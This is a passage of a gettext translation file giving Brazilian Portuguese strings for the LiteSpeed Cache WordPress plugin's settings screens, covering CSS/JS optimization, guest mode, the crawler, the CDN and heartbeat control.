msgid "Useful for above-the-fold images causing CLS (a Core Web Vitals metric)."
msgstr "Útil para imagens acima da dobra que causam CLS (uma métrica do Core Web Vitals)."

#: tpl/page_optm/settings_media.tpl.php:248
msgid "Set an explicit width and height on image elements to reduce layout shifts and improve CLS (a Core Web Vitals metric)."
msgstr "Defina uma largura e altura explícitas nos elementos de imagem para reduzir deslocamentos de layout e melhorar o CLS (uma métrica do Core Web Vitals)."

#: tpl/page_optm/settings_media.tpl.php:141
msgid "Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu."
msgstr "As alterações nesta configuração não se aplicam aos LQIPs já gerados. Para generar novamente os LQIPs existentes, primeiro %s no menu da barra de administração."

#: tpl/page_optm/settings_js.tpl.php:79
msgid "Deferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric)."
msgstr "Adiar até que a página seja analisada ou atrasar até a interação, pode ajudar a reduzir a contenção de recursos e melhorar o desempenho, causando um FID (métrica do Core Web Vitals) mais baixo."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Delayed"
msgstr "Atrasado"

#: tpl/page_optm/settings_js.tpl.php:52
msgid "JS error can be found from the developer console of browser by right clicking and choosing Inspect."
msgstr "Erros de JS podem ser encontrados no console do desenvolvedor do navegador clicando com o botão direito e escolhendo \"Inspecionar\"."

#: tpl/page_optm/settings_js.tpl.php:51 tpl/page_optm/settings_js.tpl.php:85
msgid "This option may result in a JS error or layout issue on frontend pages with certain themes/plugins."
msgstr "Essa opção pode resultar em um erro de JS ou problema de layout em páginas de interface com determinados temas/plugins."

#: tpl/page_optm/settings_html.tpl.php:147
msgid "This will also add a preconnect to Google Fonts to establish a connection earlier."
msgstr "Isso também adicionará uma pré-conexão ao Google Fonts para estabelecer uma conexão mais cedo."

#: tpl/page_optm/settings_html.tpl.php:91
msgid "Delay rendering off-screen HTML elements by its selector."
msgstr "Atrasar a renderização de elementos HTML fora da tela pelo seletor."

#: tpl/page_optm/settings_css.tpl.php:314
msgid "Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder."
msgstr "Desative esta opção para gerar CCSS por tipo de post em vez de por página. Isso pode economizar uma quantidade significativa de cota de CCSS, porém pode resultar em estilos CSS incorretos se o seu site usar um construtor de páginas."

#: tpl/page_optm/settings_css.tpl.php:230
msgid "This option is bypassed due to %s option."
msgstr "Esta opção é ignorada devido à opção %s."

#: tpl/page_optm/settings_css.tpl.php:224
msgid "Elements with attribute %s in HTML code will be excluded."
msgstr "Elementos com o atributo %s no código HTML serão excluídos."

#: tpl/page_optm/settings_css.tpl.php:217
msgid "Use QUIC.cloud online service to generate critical CSS and load remaining CSS asynchronously."
msgstr "Use o serviço on-line do QUIC.cloud para gerar CSS crítico e carregar o restante do CSS de forma assíncrona."

#: tpl/page_optm/settings_css.tpl.php:181
msgid "This option will automatically bypass %s option."
msgstr "Esta opção irá ignorar automaticamente a opção %s."

#: tpl/page_optm/settings_css.tpl.php:178
msgid "Inline UCSS to reduce the extra CSS file loading. This option will not be automatically turned on for %1$s pages. To use it on %1$s pages, please set it to ON."
msgstr "Use UCSS embutido para reduzir o carregamento extra de arquivos CSS. Esta opção não será ativada automaticamente para páginas %1$s. Para usá-la em páginas %1$s, defina como ATIVADO."

#: tpl/page_optm/settings_css.tpl.php:155
#: tpl/page_optm/settings_css.tpl.php:160
#: tpl/page_optm/settings_css.tpl.php:292
#: tpl/page_optm/settings_css.tpl.php:297
#: tpl/page_optm/settings_vpi.tpl.php:100
#: tpl/page_optm/settings_vpi.tpl.php:105
msgid "Run %s Queue Manually"
msgstr "Executar a fila %s manualmente"

#: tpl/page_optm/settings_css.tpl.php:93
msgid "This option is bypassed because %1$s option is %2$s."
msgstr "Esta opção é ignorada porque a opção %1$s é %2$s."

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr "A geração automática de CSS único é feita em segundo plano por meio de uma fila baseada em cron."

#: tpl/page_optm/settings_css.tpl.php:83
msgid "This will drop the unused CSS on each page from the combined file."
msgstr "Isso removerá o CSS não usado em cada página do arquivo combinado."

#: tpl/page_optm/entry.tpl.php:18 tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr "Configurações de HTML"

#: tpl/inc/in_upgrading.php:15
msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade."
msgstr "O plugin de cache do LiteSpeed foi atualizado. Atualize a página para concluir a atualização dos dados de configuração."

#: tpl/general/settings_tuning.tpl.php:62
msgid "Listed IPs will be considered as Guest Mode visitors."
msgstr "Os IPs listados serão considerados como visitantes no modo visitante."

#: tpl/general/settings_tuning.tpl.php:40
msgid "Listed User Agents will be considered as Guest Mode visitors."
msgstr "Os agentes de usuário listados serão considerados como visitantes no modo visitante."

#: tpl/general/settings.tpl.php:64
msgid "Your %1$s quota on %2$s will still be in use."
msgstr "Sua cota de %1$s em %2$s ainda estará em uso."

#: tpl/general/settings_inc.guest.tpl.php:27
msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors."
msgstr "Esta opção pode ajudar a corrigir a variação de cache para certos visitantes avançados de dispositivos móveis ou tablets."

#: tpl/general/settings_inc.guest.tpl.php:26
msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX."
msgstr "O modo visitante fornece uma página de destino sempre passível de ser armazenada em cache para a primeira visita automatizada de um visitante e, em seguida, tenta atualizar o cache de forma variada por meio do AJAX."

#: tpl/general/settings.tpl.php:104
msgid "Please make sure this IP is the correct one for visiting your site."
msgstr "Certifique-se de que este IP seja o correto para visitar o seu site."

#: tpl/general/settings.tpl.php:103
msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server."
msgstr "o IP detectado automaticamente pode não ser preciso se você tiver um IP de saída adicional definido ou múltiplos IPs configurados no seu servidor."

#: tpl/general/settings.tpl.php:86
msgid "You need to turn %s on and finish all WebP generation to get maximum result."
msgstr "Você precisa ativar %s e concluir toda a geração de WebP para obter o resultado máximo."

#: tpl/general/settings.tpl.php:79
msgid "You need to turn %s on to get maximum result."
msgstr "Você precisa ativar %s para obter o resultado máximo."

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr "Esta opção permite a otimização máxima para visitantes no modo Visitante."

#: tpl/dash/dashboard.tpl.php:54 tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520 tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624 tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712 tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800 tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr "Mais"

#: tpl/dash/dashboard.tpl.php:300
msgid "Remaining Daily Quota"
msgstr "Cota diária restante"

#: tpl/crawler/summary.tpl.php:246
msgid "Successfully Crawled"
msgstr "Rastreado"

#: tpl/crawler/summary.tpl.php:245
msgid "Already Cached"
msgstr "Já armazenado em cache"

#: tpl/crawler/settings.tpl.php:59
msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here."
msgstr "O rastreador usará seu sitemap XML ou índice de sitemap. Digite o URL completo do seu sitemap aqui."

#: tpl/cdn/cf.tpl.php:48
msgid "Optional when API token used."
msgstr "Opcional quando um token de API é usado."

#: tpl/cdn/cf.tpl.php:40
msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"."
msgstr "Recomendado para gerar o token a partir do modelo de token da API do Cloudflare \"WordPress\"."

#: tpl/cdn/cf.tpl.php:35
msgid "Global API Key / API Token"
msgstr "Chave de API global / Token de API"

#: tpl/cdn/other.tpl.php:52
msgid "NOTE: QUIC.cloud CDN and Cloudflare do not use CDN Mapping. If you are only using QUIC.cloud or Cloudflare, leave this setting %s."
msgstr "OBSERVAÇÃO: A CDN do QUIC.cloud e a Cloudflare não usam o mapeamento de CDN. Se você estiver usando apenas o QUIC.cloud ou a Cloudflare, deixe esta configuração como %s."

#: tpl/cdn/other.tpl.php:44
msgid "Turn this setting %s if you are using a traditional Content Delivery Network (CDN) or a subdomain for static content with QUIC.cloud CDN."
msgstr "Ative esta configuração %s se você estiver usando uma Rede de Distribuição de Conteúdo (CDN) tradicional ou um subdomínio para conteúdo estático com a CDN do QUIC.cloud."

#: tpl/cache/settings_inc.object.tpl.php:47
msgid "Use external object cache functionality."
msgstr "Use a funcionalidade de cache de objetos externos."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:24
msgid "Serve a separate cache copy for mobile visitors."
msgstr "Fornece uma cópia de cache separada para visitantes móveis."

#: thirdparty/woocommerce.content.tpl.php:26
msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded."
msgstr "Por padrão, as páginas \"Minha conta\", \"Finalização de compra\" e \"Carrinho\" são automaticamente excluídas do cache. Uma má configuração das associações de páginas nas configurações do WooCommerce pode fazer com que algumas páginas sejam erroneamente excluídas."

#: src/purge.cls.php:273
msgid "Cleaned all Unique CSS files."
msgstr "Todos os arquivos CSS únicos foram limpos."

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr "Adicionar tamanhos ausentes"

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr "Otimizar apenas para visitantes"

#: src/lang.cls.php:172
msgid "Guest Mode JS Excludes"
msgstr "Exclusões de JS no modo visitante"

#: src/lang.cls.php:152
msgid "CCSS Per URL"
msgstr "CCSS por URL"

#: src/lang.cls.php:149
msgid "HTML Lazy Load Selectors"
msgstr "Seletores de carregamento tardio HTML"

#: src/lang.cls.php:144
msgid "UCSS URI Excludes"
msgstr "Exclusões de URI UCSS"

#: src/lang.cls.php:141
msgid "UCSS Inline"
msgstr "UCSS embutido"

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr "Otimização de visitantes"

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr "Modo visitante"

#: src/lang.cls.php:87
msgid "Guest Mode IPs"
msgstr "IPs do modo visitante"

#: src/lang.cls.php:86
msgid "Guest Mode User Agents"
msgstr "Agentes de usuário no modo visitante"

#: src/error.cls.php:151
msgid "Online node needs to be redetected."
msgstr "O nó on-line precisa ser detectado novamente."

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr "O servidor atual está sobrecarregado."

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr "Consulte %s para mais detalhes."

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr "Esta configuração irá regenerar a lista do rastreadores e limpar a lista de desativados!"

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr "%1$s %2$s arquivos restantes na fila"

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr "A lista de rastreadores desativados foi limpa! Todos os rastreadores estão ativos! "

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr "Nó redetectado"

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
msgstr "Nenhum nó da nuvem disponível após verificar a carga do servidor."

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr "Arquivos de localização"

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr "Limpo!"

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr "Os recursos listados aqui serão copiados e substituídos por URLs locais."

#: tpl/toolbox/beta_test.tpl.php:60
msgid "Use latest GitHub Master commit"
msgstr "Use o commit mais recente do Master GitHub"

#: tpl/toolbox/beta_test.tpl.php:56
msgid "Use latest GitHub Dev commit"
msgstr "Use o commit mais recente do GitHub Dev"

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr "Nenhum sitemap válido analisado pelo rastreador."

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr "Combinar CSS externo e embutido"

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr "Incluir CSS externo e CSS embutido no arquivo combinado quando %1$s também estiver ativado. Esta opção ajuda a manter as prioridades do CSS, o que deve minimizar possíveis erros causados pela combinação de CSS."

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr "Minificar arquivos CSS e código CSS embutido."

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr "A lista predefinida também será combinada com as configurações acima"

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr "Localização"

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr "Inclua JS externo e JS embutido no arquivo combinado quando %1$s também estiver ativado. Esta opção ajuda a manter as prioridades de execução de JS, o que deve minimizar possíveis erros causados pela combinação de JS."

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr "Combinar todos os arquivos JS locais em um único arquivo."

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr "Os arquivos JS listados ou o código JS embutido não serão adiados ou atrasados."

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr "Combinar JS externo e embutido"

#: src/admin-display.cls.php:795 tpl/banner/new_version.php:114
#: tpl/banner/score.php:142 tpl/banner/slack.php:49
msgid "Dismiss"
msgstr "Dispensar"

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr "O arquivo de dados mais recente é"

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr "A lista será mesclada com os nonces predefinidos em seu arquivo de dados local."

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr "Combinar arquivos CSS e código CSS embutido."

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr "Minificar arquivos JS e códigos JS embutidos."

#: tpl/page_optm/settings_tuning.tpl.php:63
msgid "Listed JS files or inline JS code will not be minified or combined."
msgstr "Os arquivos JS listados ou o código JS embutido não serão minificados ou combinados."

#: tpl/page_optm/settings_tuning_css.tpl.php:31
msgid "Listed CSS files or inline CSS code will not be minified or combined."
msgstr "Os arquivos CSS listados ou o código CSS embutido não serão minificados ou combinados."

#: src/admin-display.cls.php:1296
msgid "This value is overwritten by the Network setting."
msgstr "Este valor é substituído pela configuração de rede."

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr "Exclusões de LQIP"

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr "Essas imagens não irão gerar um LQIP (Marcador de Imagem de Baixa Qualidade)."

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr "Tem certeza de que deseja redefinir todas as configurações para as configurações padrão?"

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr "Esta opção irá remover todas as tags %s do HTML."

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr "Tem certeza de que deseja limpar todos os nós na nuvem?"

#: src/lang.cls.php:174 tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr "Remover tags Noscript"

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr "O site não está cadastrado no QUIC.cloud."

#: src/error.cls.php:74 tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144 tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr "Clique aqui para definir."

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr "Localizar recursos"

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr "Configurando cabeçalhos personalizados"

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr "Isso irá excluir todos os recursos localizados"

#: src/gui.cls.php:628 src/gui.cls.php:810 tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr "Recursos localizados"

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr "Comentários são suportados. Comece uma linha com um %s para transformá-la em uma linha de comentário."

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr "Apenas fontes HTTPS."

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr "Localizar recursos externos."

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr "Configurações de localização"

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr "Use o serviço on-line do QUIC.cloud para gerar CSS único."

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr "Gerar UCSS"

#: tpl/dash/dashboard.tpl.php:667 tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr "CSS único"

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr "Limpar as entradas de cache criadas por este plugin, exceto os caches de CSS crítico, CSS único e LQIP (Marcador de Imagem de Baixa Qualidade)"

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr "Relatório do LiteSpeed"

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr "Tamanhos dos grupos de miniaturas de imagens"

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr "Ignorar determinadas strings de consulta ao armazenar em cache. (Requer LSWS %s)"

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr "Para URLs com curingas, pode haver um atraso na inicialização da limpeza agendada."

#: tpl/cache/settings-purge.tpl.php:92
msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr "Por padrão, esta opção pode fornecer conteúdo obsoleto. Não ative esta opção se isso não for ACEITÁVEL para você."

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr "Fornecer conteúdo obsoleto"

#: src/admin-display.cls.php:1294
msgid "This value is overwritten by the primary site setting."
msgstr "Este valor é substituído pela configuração do site principal."

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr "Uma ou mais imagens recuperadas não correspondem à imagem notificada com o md5"

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr "Alguns arquivo(s) de imagem otimizada expiraram e foram apagados."

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr "Você tem muitas imagens solicitadas. Tente novamente em alguns minutos."

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr "A imagem WebP recuperada não corresponde ao md5 da imagem WebP notificada."

#: src/img-optm.cls.php:1130
msgid "Pulled AVIF image md5 does not match the notified AVIF image md5."
msgstr "O MD5 da imagem AVIF extraída, não corresponde ao MD5 da imagem AVIF notificada."

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr "Leia a documentação do LiteSpeed"

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr "Há uma fila de processamento que ainda não foi concluída. Informações da fila: %s."

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr "Especificar por quantos segundos os arquivos do Gravatar serão armazenados em cache."

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr "Foram limpas %1$s imagens inválidas."

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr "Configurações gerais do LiteSpeed Cache"

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr "Isso irá excluir todos os arquivos Gravatar em cache"

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr "Impedir qualquer registro de depuração das páginas listadas."

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr "Registrar apenas as páginas listadas."

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr "Especificar o tamanho máximo do arquivo de registro."

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr "Para evitar encher o disco, esta configuração deve estar DESATIVADA quando tudo estiver funcionando."

#: tpl/toolbox/beta_test.tpl.php:80
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr "Pressione o botão %s para interromper os testes beta e voltar para a versão atual no diretório de plugins do WordPress."

#: tpl/toolbox/beta_test.tpl.php:64 tpl/toolbox/beta_test.tpl.php:80
msgid "Use latest WordPress release version"
msgstr "Use a versão mais recente do WordPress"

#: tpl/toolbox/beta_test.tpl.php:64
msgid "OR"
msgstr "OU"

#: tpl/toolbox/beta_test.tpl.php:47
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr "Use esta seção para alternar entre as versões do plugin. Para testar uma versão beta de um commit do GitHub, digite o URL do commit no campo abaixo."

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr "Redefinir configurações"

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr "Caixa de ferramentas do LiteSpeed Cache"

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr "Teste beta"

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr "Visualização de registros"

#: tpl/toolbox/entry.tpl.php:33 tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr "Configurações de depuração"

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr "ATIVAR para controlar o monitoramento de atividade (heartbeat) no editor do painel."

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr "ATIVAR para controlar o monitoramento de atividade (heartbeat) no painel."

#: tpl/toolbox/heartbeat.tpl.php:58 tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr "Defina como %1$s para impedir o monitoramento de atividade (heartbeat) em %2$s."

#: tpl/toolbox/heartbeat.tpl.php:57 tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr "O intervalo válido no WordPress é de %s segundos."

#: tpl/toolbox/heartbeat.tpl.php:56 tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr "Especifique o intervalo do monitoramento de atividade (heartbeat) de %s em segundos."

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr "ATIVAR para controlar o monitoramento de atividade (heartbeat) na interface."

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr "Desative o intervalo do monitoramento de atividade (heartbeat) do WordPress para reduzir a carga no servidor."

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr "Controle de monitoramento de atividade (heartbeat)"

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr "forneça mais informações aqui para auxiliar a equipe do LiteSpeed na depuração."

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr "Opcional"

#: tpl/toolbox/report.tpl.php:100 tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr "Gerar link para o usuário atual"

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr "Link sem senha"

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr "Informações do sistema"

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr "Ir para a lista de plugins"

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr "Instalar o DoLogin Security"

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr "Verifique meu endereço IP público em"

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr "Seu IP do servidor"

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr "Digite o endereço IP deste site para permitir que os serviços em nuvem chamem diretamente o IP em vez do nome de domínio. Isso elimina a sobrecarga de consultas DNS e CDN."

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr "Isso ativará o cron do rastreador."

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr "Configurações gerais do rastreador"

#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr "Remover da lista de bloqueio"

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr "Esvaziar lista de bloqueios"

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr "Tem certeza de que deseja excluir todos os itens existentes na lista de bloqueio?"

#: tpl/crawler/blacklist.tpl.php:88 tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr "Lista de bloqueio por não ser armazenável em cache"

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr "Adicionar à lista de bloqueio"

#: tpl/crawler/blacklist.tpl.php:43 tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr "Operação"

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr "Total de sitemaps"

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr "Lista de sitemaps"

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr "Atualizar mapa do rastreador"

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr "Limpar mapa do rastreador"

#: tpl/crawler/blacklist.tpl.php:28 tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr "Lista de bloqueio"

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr "Mapa"

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr "Resumo"

#: tpl/crawler/map.tpl.php:63 tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr "Não encontrado no cache"

#: tpl/crawler/map.tpl.php:62 tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr "Encontrado no cache"

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr "Aguardando ser rastreado"

#: tpl/crawler/blacklist.tpl.php:89 tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104 tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr "Lista de bloqueio"

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr "Não encontrado"

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr "Encontrado"

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr "Aguardando"

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr "Executando"

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr "Use %1$s em %2$s para indicar que esse cookie não foi definido."

#: src/admin-display.cls.php:449
msgid "Add new cookie to simulate"
msgstr "Adicionar novo cookie para simular"

#: src/admin-display.cls.php:448
msgid "Remove cookie simulation"
msgstr "Remover simulação de cookies"

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr "A regra .htaccess é: %s"

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr "Mais configurações disponíveis no menu %s"

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr "O tempo, em segundos, que os arquivos serão armazenados no cache do navegador antes de expirarem."

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr "Usuários do OpenLiteSpeed, verifiquem isso"

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr "Configurações de cache do navegador"

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr "Caminhos de URI contendo essas strings serão forçados a serem armazenados em cache como públicos, independentemente das configurações de não armazenamento em cache."

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr "Com o CDN QUIC.cloud ativado, você ainda pode estar vendo cabeçalhos de cache do seu servidor local."

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
